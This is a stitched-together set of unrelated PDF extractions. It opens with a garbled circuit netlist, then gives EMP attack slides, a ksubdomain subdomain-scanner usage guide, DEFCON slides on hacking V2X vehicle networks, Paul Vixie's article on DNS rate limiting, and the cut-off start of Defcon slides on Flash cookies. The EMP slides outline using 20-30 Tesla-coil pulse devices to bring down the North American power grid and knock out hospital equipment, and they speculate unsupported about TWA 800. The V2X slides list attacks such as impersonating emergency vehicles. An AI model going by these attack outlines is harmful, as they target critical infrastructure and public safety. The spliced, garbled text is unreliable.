PIJ102 PIP302 PIR602 PIU307 NLCAN10P POCAN1 H PIC301 PIC401 PIC501 PIC601 PIJ106 PIJ107 PIP405 PIR201 PIR501 PIR1102 PIR1502 PIU102 PIU104 PIU105 PIU203 PIU302 PIU402 PIU703 PIU802 PIU804 PIU805 PIP304 PIR1402 NLJ1708020N POVehicle 1708020 PIP305 PIR1302 NLJ1708020P POVehicle 1708020 PIJ1014 PIP404 PIR1002 NLJ17080N POVehicle 17080 PIJ1015 PIP403 PIR902 NLJ17080P POVehicle 17080 PIC302 PIR301 PIC402 PIR401 PIC502 PIR601 PIC602 PIR701 PIJ101 PIJ103 PIJ104 PIJ105 PIJ1010 PIJ1011 PIJ1016 PIJ1017 PIR202 PIU408 PIR502 PIU308 PIU101 POJ1708 RX PIR802 PIR901 PIU106 POJ17080 PIR1001 PIR1101 PIU107 POJ17080 PIU201 PIU202 POJ170802 TX PIU204 PIU803 PO!J170802 TX PIU301 POTX CAN1 PIU304 PORX CAN1 PIU305 PIU401 POTX CAN0 PIU404 PORX CAN0 PIU405 PIU701 PIU702 POJ1708 TX PIU103 PIU704 PO!J1708 TX PIU801 POJ170802 RX PIR1202 PIR1301 PIU806 POJ1708020 PIR1401 PIR1501 PIU807 POJ1708020 PIJ108 PIP301 PO!J170802 TX PO!J1708 TX POCAN001939 H POCAN001939 L POCAN1 H POCAN1 L POJ17080 POJ1708020 POJ170802 RX POJ170802 TX POJ1708 RX POJ1708 TX PORX CAN0 PORX CAN1 POTX CAN0 POTX CAN1 POVEHICLE 17080 POVEHICLE 1708020
pdf
INJECTING ELECTROMAGNETIC PULSE INTO DIGITAL DEVICES • HISTORY OF EMP • STARFISH • MARX GENERATOR • PULSE PARAMETERS • DUMP DEVICES • SMART DEVICES • BYZANTINE FAULTS • SCADA • HOSPITALS • EMP IS MICROPROCESSOR AND OS • INDEPDENTENT • GREEN REVOLUTION • FLY BY WIRE • TWA 800 • EMP DEVICE IN A CAMERA • ½*C*V*V = POWER IN JOULSE • POWER GRID • POWER QUALITY • TESLA COIL HISTORY OF EMP • COMPTON EFFECT(H BOMB) • TESLA COIL • MARX GENERATOR • EXPLOSIVE DEVICE ARMATURE H BOMB STARFISH • 1962 US EXPLODED AN H BOOM 800 MILES FROM OAHU HAWAII • 30 STRINGS OF STREET LIGHTS WENT OUT • 300 STREET LIGHTS IN ALL THE MARX GENERATOR • INVENTED IN 1924 • NOVEL CONCEPT TO CREATE HIGH VOLTAGE • CAPACITORS ARE CHARGED IN PARRALL • CAPACITORS DISCHARGE IN SERIES PULSE INJECTING • ELECTRICAL LINES • TELEPHONE • CABLE • COAXIAL • NETWORK • GROUNDING STRAP DUMB DIGITAL DEVICES • SIMPLE DIGITAL DEVICES • THEY KEEP ON WORKING AFTER BEING PULSED • STAND ALONG SENSORS (TEMP,PRESSURE,VOLTAGE) • A TYPE OF EMP FUZZING SMART DEVICES PULSED • THEY REBOOT • THEY NEED SOME OPERATOR TO MANUALLY RESET • THEY TURN OFF CONTROLLING A NETWORK OF DEVICES • AS LONG AS YOU KEEP PULSING THEY CAN NOT BRING THE NETWORK UP • LINUX,UNIX,SUN,WINDOWS,ROUTERS FIRE WALL • THEY WILL NOT BE ABLE TO REBOOT MOORES LAW – EVERY 18 MONTHS THE NUMBER OF TRANSITORS DOUBLES THAT CAN BE PUT ON A SILCON WAFFER – DIE SIZE DECREASES – VOLTAGE DECREASES NOT ALL EMP THE SAME DESIGNER EMP • PULSE WIDTH • PULSE RISE TIME • PULSE RATE • HARMONICS • FREQUENCY BYZANTINE FAULTS • LARGE REALTIME DISTRIBUTED SYSTEMS • BYZANETINE FAULT TOLERANCE AND RECOVERY • N IS THE NUMBER OF PROCESSES • T IS THE NUMBER OF CORUPTED PROCESSES • A SOLUTION IS ONLY POSSIBLE IF • N>3T+1 SUPERVISORY CONTROL AND DATA ACQUISITION • LARGE REALTIME DISTRIBUTED SYSTEMS • CONTROL,CHEMICAL,WATER,OIL, POWER SYSTEMS • LARGE MIX OF SMART AND DUMB DEVICES • FUZZING OF DUMB DEVICES GOING GREEN • GREEN BUSES SOLID STATE ENGINER CONTROLS • GREEN CARS ROBOTIC TRAIN • L TRAIN NYC • DC METRO TRAIN • THIRD RAIL SHOE ARC FLY BY WIRE • BOEING THE PILOT IS IN CONTROL • AIR BUS THE COMPUTER IS IN CONTROL TWA FLIGHT 800 • 75 MILL JOULES • CENTER FUEL TANK • ARTIFACT PULSE ON THE BLACK BOX • THE BLACK BOX WOULD SHOW AN ARTIFACT OR DAMPED RINGING IF THE PLANE WAS PULSED ½*C*V*V=POWER IN JOULES • C= CAPACITENCE,V=VOLTAGE • C=102 MICROFARDS • V=300 VOLTS • APROX 4.5 JOULES AIR FRANCE 447 • AIR BUS 330-200 HOSPITALS ARE MICRPOPROCESS RICH • DUMB DEVICES • SMART DEVICES SOMEONE WILL HAVE TO RESET THEM • PATIENT MONITORING • VENTILATORS POWER GRID • THREE MAJOR SUBGRIDS • EAST GRID,WEST GRID,TEXAS • HVAC, HIGH VOLTAGE AC GRID • HVDC,HIGH VOLTAGE DC GRID POWER QUALITY • INDUCTANCE • CAPACITANCE • HARMONICS • TRANSIENTS THE GADGET • 20-30 DEVICES • COST $25K-35K • THE GADGET WILL BE 60% BASED ON THE TELSA COIL • SOLID STATE(MOSFET IGBT) • TUBE 833A GRID STRESSORS • NEW NETWORK WORM • NEW WIN VIRUS • SOFT WARE CHANGE CYCLE • HOT WEATHER • INJECTING PULSES INTO THE GRID BRING DOWN THE NORTH AMERICAN POWER GRID • 20-30 DEVICES • DISTRIBUTE OVER WEAK NODES • EACH DEVICE WOULD HAVE TO BE TUNED • DO ABLE
pdf
一个简单的调用例子 注意: 不要启动多个ksubdomain,ksubdomain启动一个就可以发挥最大作用。 可以看到调用很简单,就是填写 options 参数,然后调用runner启动就好了,重要的是options填什 么。 options的参数结构 package main import ( "context" "github.com/boy-hack/ksubdomain/core/gologger" "github.com/boy-hack/ksubdomain/core/options" "github.com/boy-hack/ksubdomain/runner" "github.com/boy-hack/ksubdomain/runner/outputter" "github.com/boy-hack/ksubdomain/runner/outputter/output" "github.com/boy-hack/ksubdomain/runner/processbar" "strings" ) func main() { process := processbar.ScreenProcess{} screenPrinter, _ := output.NewScreenOutput(false) domains := []string{"www.hacking8.com", "x.hacking8.com"} opt := &options.Options{ Rate:        options.Band2Rate("1m"), Domain:      strings.NewReader(strings.Join(domains, "\n")), DomainTotal: 2, Resolvers:   options.GetResolvers(""), Silent:      false, TimeOut:     10, Retry:       3, Method:      runner.VerifyType, DnsType:     "a", Writer: []outputter.Output{ screenPrinter, }, ProcessBar: &process, EtherInfo:  options.GetDeviceConfig(), } opt.Check() r, err := runner.New(opt) if err != nil { gologger.Fatalf(err.Error()) } ctx := context.Background() r.RunEnumeration(ctx) r.Close() } type Options struct { Rate        int64              // 每秒发包速率 Domain      io.Reader          // 域名输入 1. ksubdomain底层接口只是一个dns验证器,如果要通过一级域名枚举,需要把全部的域名都放入 Domain 字段中,可以看enum参数是怎么写的 cmd/ksubdomain/enum.go 2. Write参数是一个outputter.Output接口,用途是如何处理DNS返回的接口,ksubdomain已经内 置了三种接口在 runner/outputter/output 中,主要作用是把数据存入内存、数据写入文件、数 据打印到屏幕,可以自己实现这个接口,实现自定义的操作。 3. ProcessBar参数是一个processbar.ProcessBar接口,主要用途是将程序内 成功个数 、 发送个数 、 队列数 、 接收数 、 失败数 、 耗时 传递给用户,实现这个参数可以时时获取这些。 4. EtherInfo是*device.EtherTable类型,用来获取网卡的信息,一般用函数 options.GetDeviceConfig() 即可自动获取网卡配置。 DomainTotal int                // 扫描域名总数 Resolvers   []string           // dns resolvers Silent      bool               // 安静模式 TimeOut     int                // 超时时间 单位(秒) Retry       int                // 最大重试次数 Method      string             // verify模式 enum模式 test模式 DnsType     string             // dns类型 a ns aaaa Writer     []outputter.Output // 输出结构 ProcessBar  processbar.ProcessBar EtherInfo   *device.EtherTable // 网卡信息 }
pdf
Linux-Stack Based V2X Framework: All You Need to Hack Connected Vehicles Duncan Woodbury, Nicholas Haltmeyer {[email protected], [email protected]} July 29, 2017 p3n3troot0r, ginsback DEFCON V2X July 29, 2017 1 / 38 State of the World: (Semi)Autonomous Driving Technologies Vehicular automation widespread in global industry Automated driving technologies becoming accessible to general public Comms protocols used today in vehicular networks heavily flawed New automated technologies still using CANBUS and derivatives p3n3troot0r, ginsback DEFCON V2X July 29, 2017 2 / 38 Stages of Autonomy Today: Stage 2 Autonomy - Combined Function Automation V2X: Stage 3 Autonomy - Combined Function Automation ) Leverage vehicular ad hoc mesh network for exchange of safety and actor/world state information p3n3troot0r, ginsback DEFCON V2X July 29, 2017 3 / 38 Critical Aspects of V2X Reliable high-throughput ad hoc mesh networking and exchange in a real-time cyberphysical environment Standardization of Stage 3 automation in federal and consumer transportation systems Enhanced safety and traffic optimization technologies leveraging V2X p3n3troot0r, ginsback DEFCON V2X July 29, 2017 4 / 38 Technologies Using V2X Collision avoidance (Forward Collision Warning) systems Advanced Driver Assistance Systems (ADAS) Cooperative adaptive cruise control Automated ticketing and tolling p3n3troot0r, ginsback DEFCON V2X July 29, 2017 5 / 38 Impact of V2X: Why Care? Most importantly: self-driving cars are shiny Your children will (would) ride in these Enables safety functions not possible with onboard systems V2X technologies applicable across range of cyberphysical systems NHTSA V2V NPRM: V2V to be standardized in light vehicles It‘s happening: You want in? p3n3troot0r, ginsback DEFCON V2X July 29, 2017 6 / 38 Tangible Benefits According to the USDOT, Safety Prevent 25,000 to 592,000 crashes annually Save 49 to 1,083 lives Avoid 11,000 to 270,000 injuries Prevent 31,000 to 728,000 property damaging crashes Travel time 27% reduction for freight 23% reduction for emergency vehicles 42% reduction on freeway (with cooperative adaptive cruise control & speed harmonization) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 7 / 38 Impact on Automotive Security Will drive adoption and development of autonomous vehicles Homogeneous use of WAVE and V2X enables unprecedented complexity in transportation systems p3n3troot0r, ginsback DEFCON V2X July 29, 2017 8 / 38 V2X Protocol Stack p3n3troot0r, ginsback DEFCON V2X July 29, 2017 9 / 38 IEEE 802.11p Wireless Access in Vehicular Environments Amendment to IEEE 802.11-2012 to support WAVE/DSRC PHY layer of V2X stack No association, no authentication, Wildcard BSSID = {↵:↵:↵:↵:↵:↵} 5.8-5.9GHz OFDM p3n3troot0r, ginsback DEFCON V2X July 29, 2017 10 / 38 IEEE 1609 WAVE Short Message Protocol (WSMP) 1609.2 Security Services PKI, cert revocation, misbehavior reporting 1609.3 Networking Services Advertisements, message fields 1609.4 Multi-Channel Operation Channel sync, MLMEX 1609.12 Identifier Allocations Provider service IDs p3n3troot0r, ginsback DEFCON V2X July 29, 2017 11 / 38 IEEE 1609.3: WSM Packets encoded as WAVE Short Messages (WSMs) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 12 / 38 IEEE 1609.3: WSM Example p3n3troot0r, ginsback DEFCON V2X July 29, 2017 13 / 38 IEEE 1609.3: WSA Participants broadcast WAVE Service Advertisements (WSAs) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 14 / 38 IEEE 1609.4: Channel Synchronization Control and service channels (CCH and SCH) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 15 / 38 SAE J2735 DSRC message set and data elements ASN1 UPER encoding (latest rev does not compile) Basic Safety Message (BSM), Emergency Vehicle Alert (EVA), etc. p3n3troot0r, ginsback DEFCON V2X July 29, 2017 16 / 38 Subtleties in Protocol Specifications Ambiguous parse rules for certain frames (Information Element Extension) Services are gated only by PKI permissions Proprietary applications using ad hoc permissions Messages leak S/PII Misbehavior reporting just randomizes the send address in an attempt at privacy WSA fingerprinting prevents privacy Channel switching for single-antenna systems desync >0.1s delay with 200 cars/km2 p3n3troot0r, ginsback DEFCON V2X July 29, 2017 17 / 38 State of V2X Standards IEEE 802.11-2012 details 802.11p Not supported by majority of COTS WiFi hardware IEEE 1609.{3,4} stable, under development IEEE 1609.2 (PKI, misbehavior reporting) incomplete, under development SAE J2735 stable, under development SAE J2735 ASN1 (2016) not stable Example of PKI Brilliance: ‘Another aspect of the privacy and non-tracking of vehicles becomes apparent here as the MAC address needs to be randomly changed to prevent vehicle tracking.’ p3n3troot0r, ginsback DEFCON V2X July 29, 2017 18 / 38 Possibly Unintentional Obfuscation of the Standards Removal of message CRC from J2735 Continued revisions would likely make in-the-field devices obsolete WSMPv3 (current) has no backwards compatibility Standards vague in best practices, favoring proprietary implementations Consider: p3n3troot0r, ginsback DEFCON V2X July 29, 2017 19 / 38 Major Changes to the Standards Standards still in development after decades Spectrum allocated by the FCC in 1999 WAVE first codified in 2005 J2735 in 2006 Rewrites of security services to change certificate structure Rewrites of management plane to add services (P2PCD) Incomplete safety message dictionary No standards for application-layer services p3n3troot0r, ginsback DEFCON V2X July 29, 2017 20 / 38 Physical Manifestations of V2X: Deployment Three USDOT pilot studies: NYC, Tampa (THEA), Wyoming p3n3troot0r, ginsback DEFCON V2X July 29, 2017 21 / 38 V2X in the Linux Networking Subsystem p3n3troot0r, ginsback DEFCON V2X July 29, 2017 22 / 38 802.11p: Driver and Kernel Tree Modifications WiFi driver modifications: Add support for ITS-G5 channel spectrum, 5/10MHz-width channels Add support and error checking for OCB mode Force usage of user-specified regulatory domain /net/wireless modifications: Add support wildcard broadcast transmission Add support for 5/10MHz-width channels, channel state definitions for OCB mode Force usage of user-specified regulatory domain mac80211 modifications: Add (fix) support and error checking for OCB mode Initialization and de-initialization Channel filter configuration, disable beaconing and association cfg80211 modifications: Channel filter configuration for OCB mode Add support for 5/10MHz-width channels nl80211 modifications: Channel filter configuration for OCB mode Add support for 5/10MHz-width channels p3n3troot0r, ginsback DEFCON V2X July 29, 2017 23 / 38 IEEE 1609: 1609 in the Linux Kernel Kernel module to pack, parse, and broadcast messages Relevant data structures WSM, WSA, WRA, SII, CII, IEX Full control of fields subtype, TPID, PSID, chan, tx power, data rate, location, etc. Operating modes for setting degree of compliance to standard (strict, lax, loose) Channel sync, dispatch Netlink socket interface to userspace (af wsmp) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 24 / 38 Error Checking and Corrections Implemented Parser short circuiting Domain checks on each field Operating modes for standard compliance Will reject messages where domain is non-compliant Relevant error handling (EBADMSG, EINVAL, EFAULT, etc.) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 25 / 38 SAE J2735: Userspace J2735 Message Dictionary socketv2v utility suite: v2vsend, v2vdump, v2vsni↵er Fully implements BSM, EVA, RSA, CSR J2735 message formats Communicates with 1609 kernel module via Netlink socket Enables VANET participation with generic Linux box and 5GHz WiFi p3n3troot0r, ginsback DEFCON V2X July 29, 2017 26 / 38 Platform Requirements: Linux! V2X stack integrated in mainline Linux kernel No proprietary DSRC hardware/software required V2X stack current - deployed V2X ‘solutions’ obsolete Currently supports ath9k/ath9k htc, rtlwifi Fully implements 802.11p, IEEE 1609.{3,4} in Linux networking subsystem IEEE 1609.2 to be integrated upon completion p3n3troot0r, ginsback DEFCON V2X July 29, 2017 27 / 38 Capabilities Leveraging V2X Stack: Hacking Connected Vehicles Rapidly prototype new V2V applications Penetrate commercial implementations Analyze real V2V network data Pilot studies, protocol analysis p3n3troot0r, ginsback DEFCON V2X July 29, 2017 28 / 38 Developing Connected Vehicle Technologies Widespread access enables engagement of security (1337) community in standards development History lesson: CANBUS sucks (for automotive) Interact with existing V2X infrastructure Pressure manufacturers and OEMs to implement functional V2V Deploy ahead of market - experimental platforms UAS, maritime, orbital, heavy vehicles Opportunity for empirical research: See what you can break Straightforward to wardrive Hook DIY radio (Pi Zero with 5GHz USB adapter) into CANBUS (for science ONLY) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 29 / 38 (You can) Use J2735 DSRC over 802.11p with Linux Participate in connected VANETS v2vsend: Craft and inject messages into ITS spectrum v2vsni↵er: Sni↵ particular messages from specific actors v2vdump: Sni↵ all communications on ITS channels p3n3troot0r, ginsback DEFCON V2X July 29, 2017 30 / 38 DSRC Sniffing/Wardriving DSRC is a broadcast protocol Dimensions, directionality, orientation, acceleration, display etc. provide means to easily fingerprint and track participants From the SAE DSRC Implementation Guide: ‘The VII Probe Data Service collects anonymous probe data from all Mobile Users, and distributes it to any authorized Network User or Roadside Infrastructure User that requests it.’ ‘Applications are initialized by matching the locally registered AID with an advertised AID (application announcement) received on the radio link’ Highly distributed infrastructure - attacks propagate across the network easily p3n3troot0r, ginsback DEFCON V2X July 29, 2017 31 / 38 Understanding the Adversary Passive Determine trajectory of cars within some radius Few stations required to monitor a typical highway Determine services provided by peers Characterize network traffic for regions of the road Uniquely fingerprint hardware being used RF signature Probe responses Active Deny service Manipulate misbehavior reports Exploit bad hardware/software to access CANBUS Di↵erent regional configurations can lead to undefined behavior Disrupt vehicle traffic Parade as a moving toll station Ad hoc PKI for application-layer services p3n3troot0r, ginsback DEFCON V2X July 29, 2017 32 / 38 Hacking ITS Level 1: Denial of Service Single-antenna DSRC systems susceptible to collision attack Level 2: DSRC spectrum sweep, enumerate proprietary (custom) services available per participant Level 3: Impersonate an emergency vehicle Level 4: Become mobile tollbooth Level 1337: Remotely execute platooning service Assume direct control p3n3troot0r, ginsback DEFCON V2X July 29, 2017 33 / 38 Protocol Exploitation Use design flaws in the VANET to create rapidly propagating e↵ects Privacy mitigations put in as an afterthought PKI/trust management doesn’t scale XML-driven J2735 safety message dictionary Any RSU deployed is a single point of failure for the region p3n3troot0r, ginsback DEFCON V2X July 29, 2017 34 / 38 Global Access to V2X Provides vehicle to streamline testing and development of V2X Mainline Linux kernel integration ⌘ V2X stack easily applied to UAS, maritime, heavy truck, communications systems, etc. V2X now tangible, scalable, accessible: Now it is up to us to fix it! p3n3troot0r, ginsback DEFCON V2X July 29, 2017 35 / 38 What: V2X in Your Hands Shape the future development of ITS Fix/mitigate systemic issues in VANET security Push toward free as in freedom solutions Reduce global attack surface through engineering of good standards Engage and participate in public VANET (hack the planet) p3n3troot0r, ginsback DEFCON V2X July 29, 2017 36 / 38 Acknowledgments p3n3troot0r, ginsback DEFCON V2X July 29, 2017 37 / 38 References Check me out on github: https://github.com/p3n3troot0r/Mainline-80211P Estimated Benefits of Connected Vehicle Applications – Dynamic Mobility Applications, AERIS, V2I Safety, and Road Weather Management Applications – U.S. Department of Transportation, 2015 Vehicle-to-Vehicle Communications: Readiness of V2V Technology for Application – U.S. Department of Transportation, National Highway Traffic Safety Administration, 2014 William Whyte, Jonathan Petit, Virendra Kumar, John Moring and Richard Roy, ”Threat and Countermeasures Analysis for WAVE Service Advertisement,” IEEE 18th International Conference on Intelligent Transportation Systems, 2015 E. Donato, E. Madeira and L. Villas, ”Impact of desynchronization problem in 1609.4/WAVE multi-channel operation,” 2015 7th International Conference on New Technologies, Mobility and Security (NTMS), Paris, 2015, pp. 1-5. p3n3troot0r, ginsback DEFCON V2X July 29, 2017 38 / 38
pdf
SECURITY 1 Rate-limiting State The edge of the Internet is an unruly place Paul Vixie, Farsight Security By design, the Internet core is stupid, and the edge is smart. This design decision has enabled the Internet’s wildcat growth, since without complexity the core can grow at the speed of demand. On the downside, the decision to put all smartness at the edge means we’re at the mercy of scale when it comes to the quality of the Internet’s aggregate traffic load. Not all device and software builders have the skills—and the quality assurance budgets—that something the size of the Internet deserves. Furthermore, the resiliency of the Internet means that a device or program that gets something importantly wrong about Internet communication stands a pretty good chance of working “well enough” in spite of its failings. Witness the hundreds of millions of CPE (customer-premises equipment) boxes with literally too much memory for buffering packets. As Jim Gettys and Dave Taht have been demonstrating in recent years, more is not better when it comes to packet memory.1 Wireless networks in homes and coffee shops and businesses all degrade shockingly when the traffic load increases. Rather than the “fair-share” scheduling we expect, where N network flows will each get roughly 1/Nth of the available bandwidth, network flows end up in quicksand where they each get 1/(N2) of the available bandwidth. This isn’t because CPE designers are incompetent; rather, it’s because the Internet is a big place with a lot of subtle interactions that depend on every device and software designer having the same—largely undocumented—assumptions. Witness the endless stream of patches and vulnerability announcements from the vendors of literally every smartphone, laptop, or desktop operating system and application. Bad guys have the time, skills, and motivation to study edge devices for weaknesses, and they are finding as many weaknesses as they need to inject malicious code into our precious devices where they can then copy our data, modify our installed software, spy on us, and steal our identities—113 years of science fiction has not begun to prepare us for how vulnerable we and our livelihoods are, now that everyone is online. Since the adversaries of freedom and privacy now include nation-states, the extreme vulnerability of edge devices and their software is a fresh new universal human-rights problem for the whole world. SOURCE ADDRESS VALIDATION Nowhere in the basic architecture of the Internet is there a more hideous flaw than in the lack of enforcement of simple SAV (source-address validation) by most gateways. Because the Internet works well enough even without SAV, and because the Internet’s roots are in academia where there were no untrusted users or devices, it’s safe to say that most gateway makers (for example, wireless routers, DSL modems, and other forms of CPE) will allow most edge devices to emit Internet packets claiming to be from just about anywhere. Worse still, providers of business-grade Internet connections, and operators of Internet hosting data centers and “clouds,” are mostly not bothering to turn on SAV SECURITY 2 toward their customers. Reasons include higher cost of operation (since SAV burns some energy and requires extra training and monitoring), but the big reason why SAV isn’t the default is: SAV benefits only other people’s customers, not an operator’s own customers. There is no way to audit a network from outside to determine if it practices SAV. Any kind of compliance testing for SAV has to be done by a device that’s inside the network whose compliance is in question. That means the same network operator who has no incentive in the first place to deploy SAV at all is the only party who can tell whether SAV is deployed. This does not bode well for a general improvement in SAV conditions, even if bolstered by law or treaty. It could become an insurance and audit requirement in countries where insurance and auditing are common, but as long as most of the world has no reason to care about SAV, it’s safe to assume that enough of the Internet’s edge will always permit packet-level source-address forgery, so that we had better start learning how to live with it—for all eternity. While there are some interesting problems in data poisoning made possible by the lack of SAV, by far the most dangerous thing about packet forgery is the way it facilitates DDoS (distributed denial of service).2 If anybody can emit a packet claiming to be from anybody else, then a modest stream of requests by an attacker, forged to appear to have come from the victim, directed at publicly reachable and massively powerful Internet servers, will cause that victim to drown in responses to requests they never made. Worse, the victim can’t trace the attack back to where it entered the network and has no recourse other than to wait for the attack to end, or hire a powerful network-security vendor to absorb the attack so that the victim’s other services remain reachable during the attack.3 DOMAIN NAME SYSTEM RESPONSE RATE LIMITING During a wave of attacks a few years ago where massively powerful public DNS (Domain Name System) servers were being used to reflect and amplify some very potent DDoS attacks, Internet researchers Paul Vixie and Vernon Schryver developed a system called DNS RRL (Response Rate Limiting) that allowed the operators of the DNS servers being used for these reflected amplified attacks to deliberately drop the subset of their input request flow that was statistically likely to be attack-related.4 DNS RRL is not a perfect solution, since it can cause slight delays in a minority of normal (non-attack) transactions during attack conditions. The DNS RRL tradeoff, however, is obviously considered a positive since all modern DNS servers and even a few IPS/IDS (intrusion protection system/intrusion detection system) products now have some form of DNS RRL, and many TLD (top-level domain) DNS servers are running DNS RRL. Operators of powerful Internet servers must all learn and follow Stan Lee’s law (as voiced by Spider-Man): “With great power comes great responsibility.” DNS RRL was a domain-specific solution, relying on detailed knowledge of DNS itself. For example, the reason DNS RRL is response rate limiting is that the mere fact of a question’s arrival does not tell the rate limiter enough to make a decision as to whether that request is or is not likely to be part of an attack. Given also a prospective response, though, it is possible with high confidence to detect spoofed-source questions and thereby reduce the utility of the DNS server as a reflecting DDoS amplifier, while still providing “good enough” service to non-attack traffic occurring at the same time—even if that non-attack traffic is very similar to the attack. The economics of information warfare is no different from any other kind of warfare—one seeks to defend at a lower cost than the attacker, and to attack at a lower cost than the defender. DNS RRL SECURITY 3 did not have to be perfect; it merely had to tip the balance: to make a DNS server less attractive to an attacker than the attacker’s alternatives. One important principle of DNS RRL’s design is that it makes a DNS server into a DDoS attenuator—it causes not just lack of amplification, but also an actual reduction in traffic volume compared with what an attacker could achieve by sending the packets directly. Just as importantly, this attenuation is not only in the number of bits per second, but also in the number of packets per second. That’s important in a world full of complex stateful firewalls where the bottleneck is often in the number of packets, not bits, and processing a small packet costs just as much in terms of firewall capacity as processing a larger packet. Another important design criterion for DNS RRL is that its running costs are so low as to not be worth measuring. The amount of CPU capacity, memory bandwidth, and memory storage used by DNS RRL is such a small percentage of the overall load on a DNS server that there is no way an attacker can somehow “overflow” a DNS server’s RRL capacity in order to make DNS RRL unattractive to that server’s operator. Again, war is a form of applied economics, and the design of DNS RRL specifically limits the cost of defense to a fraction of a fraction of the attacker’s costs. Whereas DNS achieves its magnificent performance and scalability by being stateless, DNS RRL adds the minimum amount of state to DNS required for preventing reflected amplified attacks, without diminishing DNS’s performance. CURRENT STATE To be stateless in the context of network protocols means simply that the responder does not have to remember anything about a requester in between requests. Every request is complete unto itself. For DNS this means a request comes in and a response goes out in one single round-trip from the requester to the responder and back. Optional responder state isn’t prohibited—for example, DNS RRL adds some modest state to help differentiate attack from non-attack packets. Requesters can also hold optional state such as RTT (round-trip time) of each candidate server, thus guiding future transactions toward the server that can respond most quickly. In DNS all such state is optional, however, and the protocol itself will work just fine even if nobody on either end retains any state at all. DNS is an example of a UDP (User Datagram Protocol), and there are other such protocols. For example, NTP (Network Time Protocol) uses UDP, and each response is of equal or greater size than the request. A true NTP client holds some state, in order to keep track of what time the Internet thinks it is. An attacker, however, need not show an NTP responder any evidence of such state in order to solicit a response. Since NTP is often built into CPE gateways and other edge devices, there are many millions of responders available for DDoS attackers to use as reflectors or as amplifying reflectors. TCP (Transmission Control Protocol), on the other hand, is stateful. In current designs both the initiator and the responder must remember something about the other side; otherwise, communication is not possible. This statefulness is a mixed blessing. It is burdensome in that it takes several round-trips to establish enough connection state on both sides to make it possible to send a request and receive a response, and then another one-and-a-half round-trips to close down the connection and release all state on both sides. TCP has an initiation period when it is trying to create shared state between the endpoints, during which several SYN-ACK messages can be sent by the responder to the purported initiator of a single SYN message. This means TCP itself can be used as SECURITY 4 an amplifier of bits and packets, even though the SYN-ACK messages are not sent back to back. With hundreds of millions of TCP responders available, DDoS attackers can easily find all the reflecting amplifying TCP devices needed for any attack on any victim—no matter how capacious or well- defended. ICMP (Internet Control Message Protocol) is stateless, in that gateways and responders transmit messages back to initiators in asynchronous response to network conditions and initiator behavior. The popular “ping” and “traceroute” commands rely on the wide availability of ICMP; thus, it’s uncommon for firewalls to block ICMP. Every Internet gateway and host supports ICMP in some form, so ICMP-based reflective DDoS attackers can find as many ICMP reflectors as they look for. The running theme of these observations is that in the absence of SAV, statelessness is bad. Many other UDP-based protocols, including SMB (Server Message Block) and NFS (Network File System), are stateful when used correctly, but, like TCP, are stateless during initial connection startup and can thus be used as DDoS reflectors or amplifying DDoS reflectors depending on the skill level of a DDoS attacker. While the ultimate cause of all this trouble is the permanent lack of universal SAV, the proximate cause is stateless protocols. Clearly, in order to live in a world without SAV, the Internet and every protocol and every system is going to need more state. That state will not come to the Internet core, which will be forever dumb. Rather, the state that must be added to the Internet system in order to cope without SAV has to be added at the edge. CONCLUSION Every reflection-friendly protocol mentioned in this article is going to have to learn rate limiting. This includes the initial TCP three-way handshake, ICMP, and every UDP-based protocol. In rare instances it’s possible to limit one’s participation in DDoS reflection and/or amplification with a firewall, but most firewalls are either stateless themselves, or their statefulness is so weak that it can be attacked separately. The more common case will be like DNS RRL, where deep knowledge of the protocol is necessary for a correctly engineered rate-limiting solution applicable to the protocol. Engineering economics requires that the cost in CPU, memory bandwidth, and memory storage of any new state added for rate limiting be insignificant compared with an attacker’s effort. Attenuation also has to be a first-order goal—we must make it more attractive for attackers to send their packets directly to their victims than to bounce them off a DDoS attenuator. This effort will require massive investment and many years. It is far more expensive than SAV would be, yet SAV is completely impractical because of its asymmetric incentives. Universal protocol- aware rate limiting (in the style of DNS RRL, but meant for every other presently stateless interaction on the Internet) has the singular advantage of an incentive model where the people who would have to do the work are actually motivated to do the work. This effort is the inevitable cost of the Internet’s “dumb core, smart edge” model and Postel’s law (“be conservative in what you do, be liberal in what you accept from others”). Reflective and amplified DDoS attacks have steadily risen as the size of the Internet population has grown. The incentives for DDoS improve every time more victims depend on the Internet in new ways, whereas the cost of launching a DDoS attack goes down every time more innovators add more smart devices to the edge of the Internet. There is no way to make SAV common enough to matter, nor is there any way to measure or audit compliance centrally if SAV somehow were miraculously to become an enforceable requirement. SECURITY 5 DDoS will continue to increase until the Internet is so congested that the benefit to an attacker of adding one more DDoS reaches the noise level, which means, until all of us including the attackers are drowning in noise. Alternatively, rate-limiting state can be added to every currently stateless protocol, service, and device on the Internet. REFERENCES 1. Bufferbloat; http://www.bufferbloat.net/. 2. Vixie, P. 2002. Securing the edge; http://archive.icann.org/en/committees/security/sac004.txt. 3. Defense.net; http://defense.net/. 4. Vixie, P., Schryver, V. 2012. Response rate limiting in the Domain Name System; http://www. redbarn.org/dns/ratelimits. LOVE IT, HATE IT? LET US KNOW [email protected] PAUL VIXIE is the CEO of Farsight Security. He previously served as president, chairman, and founder of ISC (Internet Systems Consortium); president of MAPS, PAIX, and MIBH; CTO of Abovenet/MFN; and on the board of several for-profit and nonprofit companies. He served on the ARIN (American Registry for Internet Numbers) board of trustees from 2005 to 2013 and as chairman in 2008 and 2009. Vixie is a founding member of ICANN RSSAC (Root Server System Advisory Committee) and ICANN SSAC (Security and Stability Advisory Committee). © 2014 ACM 1542-7730/14/0200 $10.00
pdf
Web
Privacy
and
 Adobe
Local
Shared
Objects
 (and
other
things
you
should
know)
 Clinton
Wong
 [email protected]
 Defcon
16,
August
2008
 These
slides
are
obsolete
 •  This
is
the
presentaKon
included
on
the
 Defcon
16
CD.
 •  Check
the
Defcon
web
site
for
the
latest
 version
of
this
talk.
 This
Talk
Isn’t
About
Anything
New
 According
to
hPp://en.wikipedia.org/wiki/Local_Shared_Object:
 “Flash
Player
[…]
does
not
ask
the
user's
 permission
to
store
data
permanently.
This
 may
consKtute
a
collecKon
of
cookie‐like
data
 that
may
include
not
only
user‐tracking
 informaKon
but
any
personal
data
that
the
 user
has
entered
in
any
Flash‐enabled
 applicaKon”
 Public
Service
Announcement
 •  Things
you
should
know
but
probably
don’t.
 •  How
do
I
manage
